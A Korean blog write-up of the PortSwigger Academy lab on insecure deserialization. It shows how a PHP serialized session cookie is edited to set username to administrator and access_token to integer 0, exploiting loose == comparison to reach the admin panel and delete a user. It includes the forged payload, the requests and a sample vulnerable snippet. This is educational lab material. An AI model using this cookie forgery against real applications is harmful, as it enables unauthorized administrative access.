포스트

Insecure Deserialization 실습(2) - Modifying serialized data types (PortSwigger Academy)

serialized object의 데이터 타입을 조작하여 인증을 우회하고 admin 권한을 획득하는 과정 정리

Insecure Deserialization 실습(2) - Modifying serialized data types (PortSwigger Academy)

Lab: Modifying serialized data types

Lab Link: Modifying serialized data types


핵심 포인트

이 lab은 단순히 값을 바꾸는 게 아니라
데이터 타입까지 바꿔서 인증을 우회하는 구조다.

  • session이 serialized object로 관리됨
  • 해당 값이 그대로 unserialize()
  • PHP의 loose comparison(==)이 같이 사용됨

이 세 가지가 합쳐지면서 인증 우회가 발생한다.


실습 과정

주어진 계정으로 로그인한다.

1
wiener : peter

로그인 후 아무 GET 요청을 확인한다.

설명

Burp에서 요청을 보면 session cookie가 인코딩되어 있다.

설명

Inspector로 decode 하면 다음과 같은 형태가 나온다.

1
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"..."}

여기서 확인할 수 있는 포인트는 두 가지다.

  • username → 현재 계정
  • access_token → 인증 관련 값

2. 공격 방향

이 lab은 “비밀번호 비교”가 아니라
token 비교를 우회하는 구조다.

그리고 핵심은 여기다.

  • token은 원래 string
  • 비교는 == 사용

즉, 타입을 string에서 int로 바꾸면 우회 가능하다.

Repeater로 요청을 보낸 후 cookie를 수정한다.

설명

Original Request Base64 Decode

다음과 같이 바꾼다.

1
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
설명

Modified Request

변경된 부분은 세 가지다.


1. username 변경

1
"wiener" → "administrator"

그리고 길이도 같이 맞춰야 한다.

1
s:6 → s:13

2. access_token 값 변경

1
"string" → 0

3. 타입 변경

1
s (string) → i (integer)

그리고 숫자는 따옴표 없이 넣어야 한다.


3. 요청 전송 및 계정 삭제

설명

수정된 cookie를 Base64 인코딩해서 /adminGET 요청을 보내면
administrator 계정으로 인증이 우회되며 carlos계정을 삭제할 수 있는 링크가 생긴다.

설명

GET /admin/delete?username=carlos요청을 보내며 lab이 완료된다.


가능한 이유

서버 로직이 아래와 같이 설정 되어있을 가능성이 있다.

1
2
3
4
$user = unserialize($_COOKIE);
if ($user->access_token == $stored_token) {
    // 로그인 성공
}

여기서 문제는 두 가지다.

  1. user input (cookie 값)을 그대로 deserialize 하는것과
  2. == 연산자가 타입을 강제로 맞추는것으로 인해 공격이 가능했다.

우리가 넣은 값:

1
access_token = 0 (int)

서버에 저장된 값:

1
"randomstring"

비교:

1
2
3
0 == "randomstring"
→ 0 == 0
→ true

따라서 인증이 우회된다.

이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.